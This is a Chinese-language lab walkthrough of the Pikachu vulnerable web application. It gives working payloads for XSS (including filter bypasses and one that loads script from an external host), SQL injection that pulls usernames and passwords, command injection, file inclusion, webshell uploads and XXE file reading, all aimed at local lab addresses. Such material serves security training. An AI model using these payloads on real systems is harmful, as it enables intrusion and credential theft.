pikachu通关
密码爆破
1.1表单爆破
Burpsuite抓包直接爆
1.2验证码绕过(on server)
验证码在服务端只验证一次,那么手动输入验证码后再次爆
1.3验证码绕过(on client)
验证码只在客户端进行验证,并不会发送到服务端,所以抓包的时候直接把验证码去掉再爆
1.4绕过token防护
这里我就得向服务器获取到token值,然后递归和字典一起爆
获取到的第一个token值,需要手动粘贴填一下,另外重定向哪里也需要设成一直
XSS注入
反射型(get)
直接再url中写入payload
1<script>alert('1')</script>
反射型(post)
在搜素框中写入payload,点击时触发
1<h onclick=alert('1')>1<h>
存储型
留言板中留个图片,不加源,同样是点击触发
1<img src="" onclick=alert('1')>
DOM型
直接单引号闭合跃出,加上点击触发
1' onclick="alert('xss')">
DOM_XSS-X
同理
盲打
不管3721,尝试就对了
绕过滤
第一种,大小写
1<ScRipt>alert(1)</ScRIpT>
第二种,双重尖括号双倍快乐
12<<SCRIPT>alert("XSS");//<</SCRIPT>
第三种,没有标签绕过
某些浏览器中不需要加入常规XSSpayload中的”>”部分.例如firefox会为你非常体贴的安全闭合HTML标签,并且加入闭合标签!
1<SCRIPT SRC=http://xss.rocks/xss.js?< B >
其他绕过方式
1/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
htmlspecialchars实体转换
使用Javascript伪协议
1javascript:alert(document.domain)
href输出
同样可以使用伪协议输出
1javascript:alert(document.domain)
js输出
闭合,输出
CSRF跨站伪造请求
GET型
直接存在于URL中,实现起来很简单
post型
POST注入稍微麻烦一点需要先截包,然后使用burpsuite生成一个表单,挂在服务器里,让受害者点击
token
SQL注入
数字型注入
布尔判断寻找注入点
直接order by,猜出字段数
查找显示位
查看数据库版本和当前库名
根据得到的库名得到pikachu中所有表名
查找users表中的所有字段信息
然后直接查找pikachu库中users表的username和password信息
同理可以查找数据库root用户的密码
解密
字符型注入
单引号判断注入点
闭合单引号
判断字段数
使用updatexml报错注入得到pikachu库下的表名
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) -- &submit=查询
拿到users表的字段信息
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)-- &submit=查询
拿users表的具体内容
1http://192.168.1.11/pikachu/vul/sqli/sqli_str.php?name=lili' union select 1,updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 1,1),0x7e),1) -- &submit=查询
搜索型注入
可以发现单引号出现报错,注释掉后回显正常,那么就可以选择联合注入或者是报错注入,这里就不占篇幅了
不知名类型注入
可以看见他构造的闭合有点奇怪,是')
,有的情况下还有双引号、中括号等奇葩方式,但是只要找到注入点就基本结束了,注入方法参考上面的联合和报错
insert、update、delete注入
加入万能的单引号
再次使用报错
延时注入(布尔注入与延时同理不做演示)
payload如下
123http://192.168.1.7/pikachu/vul/sqli/sqli_blind_b.php
?name=lili' and sleep(20
)--+
略
宽字节注入
带入%82
复活单引号
接下来就简单了,和上面一样
命令执行
远程命令执行
例如在执行ping命令后加管道符(或&&)执行systeminfo
获取系统详细信息,
远程代码执行
例如输入phpinfo();
文件包含
本地文件包含
一般配合目录遍历使用,例如读取服务器的hosts文件
远程文件包含
远端服务器准备
docker快速开一个lnmp服务
12root@linux:~# docker run -itd -p 12345:80 raesene/bwapp
84ea4667fa6e76be69cc1468a70d485fb198554b5bb4a38b369030666e0a95d5
包含远端文件
文件下载
目录遍历下载个记事本
文件上传
客户端检查
将webshell上传时改成图片格式,截包后改成php格式
服务端检查
不用改成图片格式,直接上传webshell,截包将Content-Type声明为 image/png
webshell连接
图像内容检查
这里使用了getimagesize() 函数获取图像大小及文件头是否是真实的图片,所以需要将webshell写入真实的图片来绕过检查
webshell连接
这里的shell是放在图片里的,所以需要让nginx错误的解析图片释放webshell
越权
水平越权
直接替换用户查询即可
垂直越权
admin登陆后进入添加用户复制URL退出登陆,登陆pikachu进入admin的管理界面添加一个用户lisi
目录遍历
敏感信息泄露
直接F12查看代码
PHP反序列化
XML注入
payload
12345<?xml version = "1.0"?><!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]><x>&f;</x>